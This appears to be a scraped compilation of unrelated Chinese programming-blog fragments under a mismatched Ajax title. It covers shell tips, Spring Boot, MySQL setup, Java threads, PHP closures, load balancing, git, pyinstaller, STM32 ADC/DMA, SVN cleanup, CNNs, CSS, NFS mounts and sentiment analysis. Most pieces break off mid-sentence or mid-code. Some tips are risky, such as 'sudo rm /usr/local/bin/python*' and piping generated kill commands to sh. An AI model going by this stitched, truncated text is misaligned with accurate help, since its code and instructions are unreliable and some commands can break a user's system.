Ajax框架封装
文章目录 特殊变量管道`例子1:find出一个文件后打开(假设find结果只有一个且是文件)``例子2:批量杀死进程` 后台启动脚本查看端口查看磁盘占用压缩解压文件匹配首行以某个字符串开头的统计显示结果有多少行 特殊变量 shell编程中有一些特殊的变量可以使用。这些变量在脚本中可以作为全局变量来使用。
名称说明$0脚本名称$1-9脚本执行时的参数1到参数9$?脚本的返回值$#脚本执行时,输入的参数的个数$@输入的参数的具体内容(将输入的参数作为一个多个对象,即是所有参数的一个列表)$*输入的参数的具体内容(将输入的参数作为一个单词) @ 与 @与 @与*的区别:
@ 与 @与 @与*都可以使用一个变量来来表示所有的参数内容,但这两个变量之间有一些不同之处。
$@:将输入的参数作为一个列表对象
$*:将输入的参数作为一个单词
管道 例子1:find出一个文件后打开(假设find结果只有一个且是文件) 管道+awk 方式
find / -name <filename> | awk '{print "cat " $0}'| sh 当然也可以用变量的方式
cat $(find / -name <filename>) 例子2:批量杀死进程 ps -ef | grep <process_keywords> | awk '{print "kill -9 " $2}' |sh 后台启动脚本 nohup ./start.sh > /dev/null 2>&1 & dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”
2>&1错误输出2重定向到标准输出1,意思是标准输出和错误输出都进了“黑洞”(错误输出通常是进程号)
这句命令就是,后台执行start.sh,屏幕不打印任何信息。
查看端口 netstat -anp | grep 80 查看磁盘占用 总的占用:df -lh
将配置文件中配置的每一个属性的值,映射到这个组件中@ConfigurationProperties:告诉SpringBoot将本类中的所有属性和配置文件中相关的配置进行绑定;prefix = "person":配置文件中哪个下面的所有属性进行一一映射只有这个组件是容器中的组件,才能容器提供的@ConfigurationProperties功能 Person:
package com.atguigu.springboot.pojo; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.stereotype.Component; import java.util.Date; import java.util.List; import java.util.Map; /** * @Classname Person */ @Component @ConfigurationProperties(prefix = "person") public class Person { private String name; private Integer age; private Boolean stage; private Date birth; private Map<String,Object> maps; private List<Object> lists; private Child child; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.
1、下载地址 https://dev.mysql.com/downloads/file/?id=487427
2、配置环境变量 进入环境变量编辑path,添加mysql的bin目录路径,如:
3、配置文件 从MySQL 5.7.18开始,my-default.ini不再包含在分发包中或由分发包安装,此时需要自己新建my.ini文件
新建的my.ini配置如下
//如果有my-default.ini文件可以不用新建,直接在my-default.ini的[mysqld]下增加安装目录的数据存放目录;
[mysqld] character-set-server=utf8 #绑定IPv4和3306端口 bind-address = 0.0.0.0 port = 3306 sql_mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" #默认数据库引擎 default_storage_engine=innodb innodb_buffer_pool_size=1000M innodb_log_file_size=50M # 设置mysql的安装目录 # basedir=D:\IT\mysql\mysql-5.7.27 # 设置mysql数据库的数据的存放目录 datadir=D:\IT\mysql\mysql-5.7.27\data # 允许最大连接数 max_connections=200 # skip_grant_tables [mysql] # mysql客户端默认的字符集,5.7才有的,5.6以及之前的版本没有default-character-set属性 default-character-set=utf8 [mysql.server] default-character-set=utf8 [mysql_safe] default-character-set=utf8 [client] port = 3306 plugin-dir=D:\IT\mysql\mysql-5.7.27\lib\plugin 4、初始化和启动 用管理员身份运行cmd进入mysql的bin目录,输入mysqld -install,如果出现安装后没反应或者提示丢失MSVCP120.dll,先去微软官网下载Visual C++ Redistributable Packages for Visual Studio 2013
或者用以下地址
x86:http://download.microsoft.com/download/1/8/0/180fa2ce-506d-4032-aad1-9d7636f85179/vcredist_x86.exe
x64:http://download.microsoft.com/download/1/8/0/180fa2ce-506d-4032-aad1-9d7636f85179/vcredist_x64.exe
之后再输入命令提示安装成功;
输入net start mysql启动如果报以下错
需要再使用如下命令(成功后会在mysql目录下出现data目录,如果没出现则更换如下命令)
1、mysqld --initialize(命令初始化数据库时会随机生成密码,这样在修改密码时Enter password要输入随机生成的密码,随机密码还要去找,比较麻烦。这个随机密码在data目录下.err结尾的文件中,直接查找temporary这个单词这一行应该能找到随机生成的密码。)
Java线程中的Thread.yield( )方法,译为线程让步。顾名思义,就是说当一个线程使用了这个方法之后,它就会把自己CPU执行的时间让掉,让自己或者其它的线程运行,注意是让自己或者其他线程运行,并不是单纯的让给其他线程。
yield()的作用是让步。它能让当前线程由“运行状态”进入到“就绪状态”,从而让其它具有相同优先级的等待线程获取执行权;但是,并不能保证在当前线程调用yield()之后,其它具有相同优先级的线程就一定能获得执行权;也有可能是当前线程又进入到“运行状态”继续运行!
举个例子:一帮朋友在排队上公交车,轮到Yield的时候,他突然说:我不想先上去了,咱们大家来竞赛上公交车。然后所有人就一块冲向公交车,有可能是其他人先上车了,也有可能是Yield先上车了。
但是线程是有优先级的,优先级越高的人,就一定能第一个上车吗?这是不一定的,优先级高的人仅仅只是第一个上车的概率大了一点而已,
最终第一个上车的,也有可能是优先级最低的人。并且所谓的优先级执行,是在大量执行次数中才能体现出来的。
闭包 闭包和匿名函数在PHP 5.3.0中引入。
闭包是指在创建时封装周围状态的函数。即便闭包所在的环境不存在了,闭包中封装的状态依然存在。
匿名函数其实就是没有名称的函数。匿名函数可以赋值给变量,还能像其他任何php对象那样传递。不过匿名函数仍然是函数,因此可以调用,还可以传入参数。匿名函数特别适合作为函数或方法的回调。
注意: 理论上讲,闭包和匿名函数是不同的概念。不过,php将其视作相同概念。所以,提到闭包时,指的也是匿名函数;反之亦然。
PHP闭包和匿名函数使用的句法与普通函数相同,不过别被这一点迷惑了,闭包和匿名函数其实是伪装成函数的对象。如果审查PHP闭包和匿名函数,会发现它们是Closure类的实例。闭包和字符串或整数一样,也是一等值类型。
创建闭包 <?php $closure = function ($name) { return sprintf('Hello %s', $name); }; echo $closure("Josh"); // 输出--> Hello Josh 闭包和普通的PHP函数很像:使用的句法相同,也接受参数,而且能返回值。不过,匿名函数没有名称。
建议: 我们之所以能调用$closure变量,是因为这个变量的值是一个闭包,而且闭包对象实现了__invoke()魔术方法。只要变量名后有(),PHP就会查找并调用__invoke()方法。
很多PHP函数都会用到回调函数,例如array_map()和preg_replace_callback()。这是使用PHP匿名函数的绝佳时机!记住,闭包和其他值一样,可以作为参数传入其他PHP函数。
<?php $numbersPlusOne = array_map(function ($number) { return $number + 1; }, [1,2,3]); print_r($numbersPlusOne); // [2,3,4] 在闭包出现之前,PHP开发者别无选择,只能单独创建具名函数,然后使用名称引用那个函数。这么做,代码执行得稍微慢一点,而且把回调的实现和使用场所隔离开了。
<?php // 实现具名函数 function incrementNumber ($number) { return $number + 1; } // 使用具名函数 $numbersPlusOne = array_map('incrementNumber', [1,2,3]); print_r($numbersPlusOne); 这样的代码虽然可用,但是如果只需使用一次回调,没必要单独定义具名函数。把闭包当成回调使用,写出的代码更简洁、更清晰。
附加状态 前面如何把匿名函数当成回调使用,下面讨论如何为PHP闭包附加并封装状态。JavaScript开发者可能对PHP的闭包感到奇怪,因为PHP闭包不会像真正的JavaScript闭包那样自动封装应用的状态。在PHP中必须手动调用闭包对象的bindTo()方法或者使用use关键字,把状态附加到PHP闭包上。
<?php function enclosePerson ($name) { return function ($doCommand) use ($name) { return sprintf('%s, %s', $name, $doCommand); }; } // 把字符串"
Filter和Intercept的区别:Filter拦截范围比Intercept广
1 什么是负载均衡? 当一台服务器的性能达到极限时,我们可以使用服务器集群来提高网站的整体性能。那么,在服务器集群中,需要有一台服务器充当调度者的角色,用户的所有请求都会首先由它接收,调度者再根据每台服务器的负载情况将请求分配给某一台后端服务器去处理。
那么在这个过程中,调度者如何合理分配任务,保证所有后端服务器都将性能充分发挥,从而保持服务器集群的整体性能最优,这就是负载均衡问题。
下面详细介绍负载均衡的四种实现方式
2 HTTP重定向实现负载均衡 过程描述 当用户向服务器发起请求时,请求首先被集群调度者截获;调度者根据某种分配策略,选择一台服务器,并将选中的服务器的IP地址封装在HTTP响应消息头部的Location字段中,并将响应消息的状态码设为302,最后将这个响应消息返回给浏览器。
当浏览器收到响应消息后,解析Location字段,并向该URL发起请求,然后指定的服务器处理该用户的请求,最后将结果返回给用户。
在使用HTTP重定向来实现服务器集群负载均衡的过程中,需要一台服务器作为请求调度者。用户的一项操作需要发起两次HTTP请求,一次向调度服务器发送请求,获取后端服务器的IP,第二次向后端服务器发送请求,获取处理结果。
调度策略 调度服务器收到用户的请求后,究竟选择哪台后端服务器处理请求,这由调度服务器所使用的调度策略决定。
随机分配策略
当调度服务器收到用户请求后,可以随机决定使用哪台后端服务器,然后将该服务器的IP封装在HTTP响应消息的Location属性中,返回给浏览器即可。
轮询策略(RR)
调度服务器需要维护一个值,用于记录上次分配的后端服务器的IP。那么当新的请求到来时,调度者将请求依次分配给下一台服务器。
由于轮询策略需要调度者维护一个值用于记录上次分配的服务器IP,因此需要额外的开销;此外,由于这个值属于互斥资源,那么当多个请求同时到来时,为了避免线程的安全问题,因此需要锁定互斥资源,从而降低了性能。而随机分配策略不需要维护额外的值,也就不存在线程安全问题,因此性能比轮询要高。
优缺点分析 采用HTTP重定向来实现服务器集群的负载均衡实现起来较为容易,逻辑比较简单,但缺点也较为明显。
在HTTP重定向方法中,调度服务器只在客户端第一次向网站发起请求的时候起作用。当调度服务器向浏览器返回响应信息后,客户端此后的操作都基于新的URL进行的(也就是后端服务器),此后浏览器就不会与调度服务器产生关系,进而会产生如下几个问题:
由于不同用户的访问时间、访问页面深度有所不同,从而每个用户对各自的后端服务器所造成的压力也不同。而调度服务器在调度时,无法知道当前用户将会对服务器造成多大的压力,因此这种方式无法实现真正意义上的负载均衡,只不过是把请求次数平均分配给每台服务器罢了。
若分配给该用户的后端服务器出现故障,并且如果页面被浏览器缓存,那么当用户再次访问网站时,请求都会发给出现故障的服务器,从而导致访问失败
3 DNS负载均衡 DNS是什么 在了解DNS负载均衡之前,我们首先需要了解DNS域名解析的过程。
我们知道,数据包采用IP地址在网络中传播,而为了方便用户记忆,我们使用域名来访问网站。那么,我们通过域名访问网站之前,首先需要将域名解析成IP地址,这个工作是由DNS完成的。也就是域名服务器。
我们提交的请求不会直接发送给想要访问的网站,而是首先发给域名服务器,它会帮我们把域名解析成IP地址并返回给我们。我们收到IP之后才会向该IP发起请求。
那么,DNS服务器有一个天然的优势,如果一个域名指向了多个IP地址,那么每次进行域名解析时,DNS只要选一个IP返回给用户,就能够实现服务器集群的负载均衡。
具体做法 首先需要将我们的域名指向多个后端服务器(将一个域名解析到多个IP上),再设置一下调度策略,那么我们的准备工作就完成了,接下来的负载均衡就完全由DNS服务器来实现。
当用户向我们的域名发起请求时,DNS服务器会自动地根据我们事先设定好的调度策略选一个合适的IP返回给用户,用户再向该IP发起请求。
调度策略 一般DNS提供商会提供一些调度策略供我们选择,如随机分配、轮询、根据请求者的地域分配离他最近的服务器。
优缺点分析 DNS负载均衡最大的优点就是配置简单。服务器集群的调度工作完全由DNS服务器承担,那么我们就可以把精力放在后端服务器上,保证他们的稳定性与吞吐量。而且完全不用担心DNS服务器的性能,即便是使用了轮询策略,它的吞吐率依然卓越。
此外,DNS负载均衡具有较强了扩展性,你完全可以为一个域名解析较多的IP,而且不用担心性能问题。
但是,由于把集群调度权交给了DNS服务器,从而我们没办法随心所欲地控制调度者,没办法定制调度策略。
DNS服务器也没办法了解每台服务器的负载情况,因此没办法实现真正意义上的负载均衡。它和HTTP重定向一样,只不过把所有请求平均分配给后端服务器罢了。
此外,当我们发现某一台后端服务器发生故障时,即使我们立即将该服务器从域名解析中去除,但由于DNS服务器会有缓存,该IP仍然会在DNS中保留一段时间,那么就会导致一部分用户无法正常访问网站。这是一个致命的问题!好在这个问题可以用动态DNS来解决。
动态DNS 动态DNS能够让我们通过程序动态修改DNS服务器中的域名解析。从而当我们的监控程序发现某台服务器挂了之后,能立即通知DNS将其删掉。
综上所述 DNS负载均衡是一种粗犷的负载均衡方法,这里只做介绍,不推荐使用。
4 反向代理负载均衡 什么是反向代理负载均衡? 反向代理服务器是一个位于实际服务器之前的服务器,所有向我们网站发来的请求都首先要经过反向代理服务器,服务器根据用户的请求要么直接将结果返回给用户,要么将请求交给后端服务器处理,再返回给用户。
之前我们介绍了用反向代理服务器实现静态页面和常用的动态页面的缓存。接下来我们介绍反向代理服务器更常用的功能——实现负载均衡。
我们知道,所有发送给我们网站的请求都首先经过反向代理服务器。那么,反向代理服务器就可以充当服务器集群的调度者,它可以根据当前后端服务器的负载情况,将请求转发给一台合适的服务器,并将处理结果返回给用户。
优点 隐藏后端服务器。
与HTTP重定向相比,反向代理能够隐藏后端服务器,所有浏览器都不会与后端服务器直接交互,从而能够确保调度者的控制权,提升集群的整体性能。
故障转移
与DNS负载均衡相比,反向代理能够更快速地移除故障结点。当监控程序发现某一后端服务器出现故障时,能够及时通知反向代理服务器,并立即将其删除。
合理分配任务
HTTP重定向和DNS负载均衡都无法实现真正意义上的负载均衡,也就是调度服务器无法根据后端服务器的实际负载情况分配任务。但反向代理服务器支持手动设定每台后端服务器的权重。我们可以根据服务器的配置设置不同的权重,权重的不同会导致被调度者选中的概率的不同。
缺点 调度者压力过大
由于所有的请求都先由反向代理服务器处理,那么当请求量超过调度服务器的最大负载时,调度服务器的吞吐率降低会直接降低集群的整体性能。
制约扩展
当后端服务器也无法满足巨大的吞吐量时,就需要增加后端服务器的数量,可没办法无限量地增加,因为会受到调度服务器的最大吞吐量的制约。
粘滞会话 反向代理服务器会引起一个问题。若某台后端服务器处理了用户的请求,并保存了该用户的session或存储了缓存,那么当该用户再次发送请求时,无法保证该请求仍然由保存了其Session或缓存的服务器处理,若由其他服务器处理,先前的Session或缓存就找不到了。
解决办法1:
可以修改反向代理服务器的任务分配策略,以用户IP作为标识较为合适。相同的用户IP会交由同一台后端服务器处理,从而就避免了粘滞会话的问题。
解决办法2:
可以在Cookie中标注请求的服务器ID,当再次提交请求时,调度者将该请求分配给Cookie中标注的服务器处理即可。
版本控制
git本质是一个分布式版本控制系统,客户端可以完成clone整个仓库,然后进行提交和修改。
一、了解github的工作流 仓库
远程仓库(remote):远程主仓库github;本地仓库(respository/history):.git文件夹里还包括git自动创建的master分支,并且将HEAD指针指向master分支。使用commit命令可以将暂存区中的文件添加到本地仓库中;暂存区(Index/Stage):在使用git管理项目文件的时候,其本地的项目文件会多出一个.git的文件夹,将这个.git文件夹称之为版本库。其中.git文件夹中包含了两个部分,一个是暂存区(Index或者Stage),顾名思义就是暂时存放文件的地方,通常使用add命令将工作区的文件添加到暂存区里;工作区:本地电脑存放项目文件的地方。 二、git add提交到暂存区、出错怎么办? 提交流程为:
Created with Raphaël 2.2.0 Workspace 工作区 git statut 查看状态 git add .将所有修改加入暂存区 git commit -m 'first commit'将代码提交到本地仓库 git push将本地仓库代码更新到远程仓库 Remote 场景1:
当你改乱了暂存区某个文件的内容,想直接丢弃暂存区的修改时
git checkout --<文件名>
场景2:
当你不但改乱了暂存区某个文件的内容,还添加到了本地仓库时,想丢弃修改
第一步 git reset HEAD file
第二步 git checkout <文件名>
三、git commit提交到本地仓库,出错怎么办? 1.提交信息出错 更改commit信息
git commit --amend -m ‘new message’
2.漏提交 commit时,遗漏提交部分更新,有两种解决方案
方案一:再次commit,此时,git上会出现两次commit
git commit -m ‘message’
方案二:遗漏文件提交到之前commit上。–no-edit表示提交信息不会更改,在git上仅为一次提交
git add missed-file (missed-file 为遗漏提交文件)
git commit --amend --no-edit
一、问题起源
问题源于本人使用Pycharm2019.2与PyQt5.10.0制作小程序,发现Pycharm上能够运行,然后使用pyinstaller打包后无法运行,在Terminal上运行打包的程序,报Impoere:Nomodule Name sip的问题;这个问题让我从晚上10点一直困扰到凌晨2点;发现网上这问题的解决资料很杂,对标题提到的环境也不是很适用,故此出此文,有问题望多多指正。
pyinstaller打包指令如下:
pyinstaller -F xxxxx.py
以上指令在dist文件生成一个exe程序
或者
pyinstaller -D xxxxx.py
二、问题解决方式
三大步:检查路径、检查版本、安装相关
(1)路径:包括python路径、pip路径、pyinstaller路径
终端中运行一下三条指令检查路径
which python 检查python路径 python路径应该在/usr/bin/python which pip 检查pip路径 pip路径应该在/usr/bin/pip
which pyinstaller 检查pyinstaller路径 pyinstaller路径应该在/usr/local/bin/pyinstaller
任何一个路径没法查看,不要着急安装,否则安装不对等于白费!!!!!
以上路径保证和我一样的话,大概率能解决问题。本人认为路径不一样也不一定不行,建议最好检查
Pycharm -> setting -> Project -> Project Interpreter 设置的python路径是否和which python路径一致,个人认为很重要。
如果python和pip的默认路径都是在/usr/local/bin 用户目录下,本人就是如此,这时就有问题了。
解决方式:
终端运行:以删除用户目录下的python、pip
sudo rm /usr/local/bin/pip*
sudo rm /usr/local/bin/python*
然后再检查路径是否还在/usr/bin目录下,如果还在请自行想办法。
(2)版本:sip版本、PyQt5版本、pyinstaller版本、pip版本 第一步(1)的路径检查完事后,需要检查python默认sip版本、pyinstaller版本、pip版本
python默认sip版本检查 ->终端运行python后 -> from sip import SIP_VERSION_STR -> print(SIP_VERSION_STR) ->4.17 pyinstaller -v 查看pyinstaller版本 需要pyinstaller 是3.4版本
remote: Unauthorized
fatal: Authentication failed for 'https://gerrit.onap.org/r/oom/'
原因:git 登录时用了一个没有权限的账号
解决:
控制面板 凭据管理器
windows10 systerm
打开控制面板找到 ‘用户账户’
进入windows管理凭据
删除之前设置的gerrit账户\
在重新清除 重设用户,邮箱,就可以上传代码了
git credential-manager clear https://gerrit.onap.org
git config --global user.name 新的Name
git config --global user.email 新的email
文章目录 一、硬件原理简介1.1 ADC1.2 定时器1.3 DMA 二、软件配置2.1 ADC配置2.2 TIM配置2.3 DMA配置 最后.上代码 项目中需要对三个通道的电压进行一定频率的AD采样,由于采样过程贯穿整个任务,为了使采样过程尽可能不占用CPU资源,采用定时器触发的多通道ADC扫描采样,且采样数据由DMA传到RAM中的缓存。 这样做有以下几个好处:1、由定时器触发ADC采样,这样采样的频率可控,且定时器触发不会占用任何CPU资源;2、DMA进一步降低了任务对CPU的占有率。 一、硬件原理简介 1.1 ADC ADC的规则通道扫描采样不再赘述,配置好规则通道后,可以采用软件触发的方式开启AD转换,也可通过外部触发,如下图所示。可以通过定时器以及外部中断方式触发。
使用定时器触发时,最好实现的为TIM3_TRGO事件,这个事件将在下面介绍。也就是说当ADC转换配置为不连续模式时,每发生一次TIM3_TRGO事件,就会触发ADC进行一次规则通道的转换。
1.2 定时器 前面提到TIM3_TRGO事件,那什么是TIM3_TRGO呢。看下图,可以把它理解为一个定时器内部输出的信号,当满足一定条件时他就输出一个信号到其他外设,从而触发其他外设的某些操作。运用在ADC中即是触发ADC的一次规则通道转换。
1.3 DMA 其实这个没什么好说的,就是配置好,根据你所用的ADC来选择DMA设备,且配置相应的数据流和通道就好了。具体如何选择数据流和通道,看下图。
二、软件配置 提到外设的配置,怎么能少的了STM32Cube这个神器呢,了解了以上硬件原理后,我们可以使用STM32Cube轻松配置需要使用的外设,无非就三个外设——ADC、DMA、TIM。
2.1 ADC配置 这里我选用了ADC1的0、1、2三个通道作为采样通道
到外设配置里,如下图配置,打箭头的位置需要注意:1、由于实用的是定时器触发的AD转换,故 连续模式要disable,这样才能定时器触发一次就转换一次选中的3个规则通道;2、由于是多通道,所以要开启扫描模式;3、使用了DMA;4、外部触发方式选择TIM2的Trigger Out event,就是一直在说的TRGO。其他的诸如分频、左右对齐、AD转换位数、转换周期等都不是重点。
同时,由于使用了DMA,故在上图的DMA Setting选项卡中做如下设置:1、根据DMA硬件原理中的DMA映射选择DMA2的数据流0,通道在这里没有体现,应该是通道0,当STM32Cube生成代码时可以看到已经配置好了;2、开启循环模式,否则一次DMA转换完成后就停止了;3、由于有三个通道,一轮ADC转换完成后会有三个采样值,这三个采样值将依次触发DMA请求,所以需要设置DMA内存地址递增,否则1号通道的值就会覆盖0号的值,2号的值又会覆盖1号的值;4、由于STM32的ADC最大就是12位,所以配置为半字(16位)足够。
2.2 TIM配置 这里使用了TIM2,配置如下。实验中经过时钟树分频后,到TIM2的时钟为60MHz,此时配置TIM2预分频为35、重载值为375的向上计数模式,计数器每溢出一次就会产生一个更新事件。而按图中配置,更新事件将会触发TRGO信号。那么此时的采样频率为60MHz/35/375 = 3200Hz,也就是1秒钟触发3200次3通道的转换。
2.3 DMA配置 DMA没啥配置。。。因为在ADC配置中已经都配置好了,需要注意三点:1、就是要记得开启DMA中断,并在中断服务函数中及时的对AD采样值处理;2、开始DMA的ADC转换:HAL_ADC_Start_DMA(&hadc1,buffer,3),buffer即为DMA接收缓存,3表示DMA传输的数据大小,即传输3个半字后就产生传输完成中断;3、不用DMA的传输完成一半中断的话记得关掉,以免DMA中断服务被没必要的调用。
最后.上代码 当然,这些代码都是STM32Cube生成的,你需要做的仅仅就是写一个好用的DMA中断服务函数,具体流程就是判断来了传输完成中断->请标志位->将DMA缓存中的数据拷贝到数据处理的缓存,然后做什么就有你而定了。
void MX_GPIO_Init(void) { /* GPIO Ports Clock Enable */ __HAL_RCC_GPIOH_CLK_ENABLE(); __HAL_RCC_GPIOA_CLK_ENABLE(); } ADC_HandleTypeDef hadc1; DMA_HandleTypeDef hdma_adc1; /* ADC1 init function */ void MX_ADC1_Init(void) { ADC_ChannelConfTypeDef sConfig; /**Configure the global features of the ADC (Clock, Resolution, Data Alignment and number of conversion) */ hadc1.
问题描述 现象:使用idea更新文件,出现了以下异常,如下图 根据提示进行‘cleanup’(VCS --> Subversion --> Cleanup)时,又遇到了以下问题,如下图
问题原因 网上大多数都说,是由于SVN操作冲突,导致svn提交时无法正常提交。据个人理解,应该是上一次的svn操作没有正常完成,被svn记录到了WORK_QUEUE表中(此表在idea所建立的项目下的.svn目录下的wc.db文件中,其中.svn属于隐藏目录)。再次进行提交或者更新操作时,svn会先查询wc.db中的WORK_QUEUE表,发现上一次提交存在异常,所以拒绝当前的操作。
解决方案 解决方案一:
删除项目,重新checkout(网上参考,未亲自验证)解决方案二:
解决思路:通过sqllite3.exe删除WORK_QUEUE表中的记录信息。
解决步骤:
(1)下载sqlite3.exe sqlite3.exe工具下载链接,并将sqlite3.exe放到项目的根目录下的.svn目录下,以“管理员方式”运行cmd窗口(cmd–>右键–>以管理员方式运行),并进入.svn目录下。
(2)依次执行以下命令,见下图所示: 命令如下:
F:\Idea20…ver.svn> sqlite3 wc.db
sqlite> .table
sqlite> delete from WORK_QUEUE; 注:本文是作者参考一些博客和文档,结合自己实际的经验写作而成的,若有侵权,请联系作者。由于作者水平有限,写作之中若有纰漏,还望指出。欢迎交流
前言:本章会涉及到许多与卷积神经网络相关的核心知识点,属于对卷积神经网络知识点的一些梳理和总结,所以,需要有一些基础的小伙伴才能很好的理解,刚刚入门的小伙伴,少奶奶建议先阅读其他大牛的博文,然后再来看本篇文章的理论和实战部分。若能从第一章开始看起,那你将获得一个比较系统的学习流程。下面开始正文部分。
卷积神经网络相关知识点 卷积 对图像做卷积运算其实是一个滤波的过程
f为图像,w为滤波器(也可以叫做卷积核,响应函数等)。a,b定义了卷积核的大小
所以,整个卷积运算可以看到以下几点
1)卷积是一种线性运算
2)卷积核大小定义了图像任何一点参与运算的领域大小
3)卷积核上的权重大小说明了对应领域点的贡献能力
卷积特征层 图像特征主要体现在像素与周围像素之间形成的关系,这些领域像素关系形成了线条,角度等。而卷积运算正是这种利用领域点按一定权重去重新定义该点值的运算(按卷积核中的权重去加大需要特征的表现力度,减少不需要特征的表现力度)
卷积神经网络 在传统的多层神经网络中(全连接网络),下一层的节点会和上一层的所有节点连接,这大大增加了参数个数。在卷积神经网络中,有特征抽取层和降纬层,这些层的节点是部分连接的,一副特征图由一个卷积核生成,这一副特征图上的点就共享了这一组卷积核的参数。卷积核一般以随机小数的形式初始化,通过网络的训练得到合理的值。降纬层包含也叫做池化层,可以看作一种特殊的卷集层,该操作也可以减少模型的参数,下面会详细介绍。
卷积神经网络一般由三部分构成。第一部分为输入层,第二部分由n个卷积层和次化层的组合构成。第三部分为一个全连接的多层感知机分类器构成。
心得:深度学习的目的是利用数据集去纠正网络中的参数,让相同或者相近的输入在一定误差的影响下依旧可以输出正确的值。通过卷积神经网络,我们可以使得参数的个数和参数的表达能力达到了一个平衡,即参数个数最小化少,但表达力度会最大化。
降低参数的两大神器------局部感受野和权值共享 局部感受野 图像的空间联系是局部的像素联系较为紧密,而距离较远的像素联系较弱。所以,每一个神经元只需要对局部进行感知,然后在更高层进行组合就能得到全局的信息。
备注:局部感受野的范围为卷积核的大小
权值共享 为了让局部感受野能感知整张图片,需要很多的节点与感受野相连接,但这样导致参数变多,此时,我们可以使用权值共享的策略。即使用一个卷积核对整张图片做卷积操作,得到一张feature map,该feature map就共享了这一个卷积核中给的所有参数。
多卷积核 一个卷积核只能得到一个feature map,学习到一个特征,显然这对图像特征的提取是不够充分的,我们可以用多个卷积核对同一张图片做卷积,这样就可以得到多个feature map,例如:使用32个卷积核的话就可以学习到32个特征。
DOWN-pooling池化 通过卷积获得特征后,我们希望用这些特征去做分类。理论上讲,我们可以用所有学习到的特征进行分类,但这面临着一个计算量的挑战。例如:96x96的图片,我们用400个8x8的卷积核学习了400个特征,可以得到大约3百万特征值,虽然比全连接网络中给的参数少很多,但用这些特征去训练网络很容易造成过拟合,增加训练计算力。所以,对于feature map中的权重,我们只取值比较大的来进行训练,值小的不给予训练。这样增大了训练效率,也可以理解为减少FeatureMap中不重要的样本。常用的池化方法是平均子采样(mean-pooling)和最大值子采样(max-pooling)。
(1) 均值子采样的卷积核中每一个权重都是0.25。滑动步长为2。效果相当于把原图模糊缩减至原来的1/4。
(2)最大值子采样的卷积核中各权重值中全都为0,只有一个为1,其位置不固定。滑动步长为2。其效果是把原图压缩至原来的1/4。并保留每2x2区域中最强输出
多层卷积层 在实际应用中,卷积神经网络模型,往往是用多个卷积再组合两到三 层的全连接层构成的。多层卷积的目的是因为一层卷积学到的东西往往是局部的,层数越高,学到的特征就越全局化。
计算卷积和池化时,得到结果的尺寸
N = (W - F + 2P)/S + 1
N:最终尺寸。W:原图像尺寸。F:卷集层尺寸。P:padding的像素。S:卷积核移动步长
全连接层 卷积层取得的是输入图片的局部特征,而全连接层是根据这些特征组合得到的高级特征,因为该层用到了所有的局部特征,所以叫全连接。卷积层到全连接层的过程其实可以理解成一次卷积,输入所有局部特征后,添加偏置,最后得到一个值(全连接中的某一神经元的结果)
换句话讲,就是把所有卷积得到的特征整合到一起,输出为一个值,这样做能大大减少特征位置对分类带来的影响。所以,在卷积神经网络中,我们会至少加入两层全连接层。因为全连接层越多,那么最后得到的组合特征就越高级,越利于分类。
下面我们以少奶奶理解卷积神经网络中全连接层作用时,看到的一个例子为例:
右边是我们输入的原始图片(一个不开心的小猫咪),我们通过5个卷积核,得到了5个特征图(feature map)这些特征图分别对应着喵咪的头,尾巴,前腿等。
我们继续加一层卷集层,就可以把上一层的结果再一次进行卷积,得到新的feature map,如上图所示,猫头被细分为多个局部特征:眼睛,耳朵,嘴巴等。
最后,添加一层全连接层,把这些局部特征进行随机组合,我们就可以输出很多奇奇怪怪的组合图片,只要全连接层够大,我们就一定能得到一张组合图片的样子最接近猫咪。这就是为什么在卷积神经网络中,需要全连接层的原因。
卷积网络中的核心------Channel(通道) 在训练时,若输入的数据是黑白图片,我们通常会用下面的tensor进行表示:
[b, w, h, c] = [b, 32, 32, 1]
这里的1表示1通道。若我们输入的数据时彩色图片,我们通常会使用下面的tensor进行表示:
[b, w, h, c] = [b, 32, 32, 3]
分享一段代码实例,它实现了图片的模糊效果。
默认状态下,图片是模糊的,当鼠标悬浮那么图片会恢复正常状态。
代码实例如下:
<!doctype html> <html> <head> <meta charset="utf-8"> <meta name="author" content="http://www.softwhy.com/" /> <title>web前端开发学习q群:731771211 技术分享,欢迎基础小伙伴</title> <style type="text/css"> body, html { margin: 0; padding: 0; width: 100%; height: 100%; } .container { padding: 20px; position: relative; overflow: hidden; } img { height: 200px; transition: .5s ease-in-out; } .container div { width: 300px; overflow: hidden; float: left; margin-left: 40px; } .blur img { filter: blur(5px); -webkit-filter: blur(5px); } .blur img:hover { filter: blur(0); -webkit-filter: blur(0); } </style> </head> <body> <div class="
centos7挂载nas盘报错信息如下:
mount.nfs: rpc.statd is not running but is required for remote locking. mount.nfs: Either use '-o nolock' to keep locks local, or start statd. mount.nfs: an incorrect mount option was specified 解决办法:需要安装nfs-utls包,并且开启rpcbind服务。
其中rpcbind是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。
命令如下:
# centos 7 yum install nfs-utils systemctl enable rpcbind systemctl start rpcbind systemctl enable nfs-server systemctl start nfs-server # 然后可以正常进行挂盘 mount -o nolock -t nfs 172.20.0.1:/infoshare_1t /apps/data/ # 挂盘完成别忘了在/etc/fstab添加配置,否则服务器重新启动你挂的盘就看不到了,需要重新挂 172.20.0.1:/infoshare_1t /apps/data nfs defaults 0 0
最近闲来无事,看了 王树义老师 的一篇文章 《如何用Python和机器学习训练中文文本情感分类模型》,跟着步骤做了一个demo,此demo是爬取了美团用户的评论,对评论进行情感分析,收获很大,特此做下了笔记。
首先导入库
import pandas as pd import numpy as np from pandas import DataFrame, Series 读取评论数据,数据在 这里
data = pd.read_csv("data.csv", encoding='GB18030') data 数据如图所示
根据评分,使用lambda匿名函数,把评分>3的,取值1,当作正向情感,评分<3的,取值0,当作负向情感
def make_label(df): df["sentiment"] = df["star"].apply(lambda x: 1 if x > 3 else 0) 调用方法,并查看结果
make_label(data) data 特征、标签分开赋值:
X = data[["comment"]] y = data.sentiment 导入 jieba分词库,创建分词函数,将评论拆分,并用空格连接
通过 apply 调用函数,并新增列,填充值:
import jieba def chinese_word_cut(mytext): return " ".join(jieba.cut(mytext)) X["cuted_comment"] = X.comment.apply(chinese_word_cut) 接下来要将一团的数据,拆分成训练数据集、测试数据集
从sklearn.model_selection导入数据拆分函数train_test_split
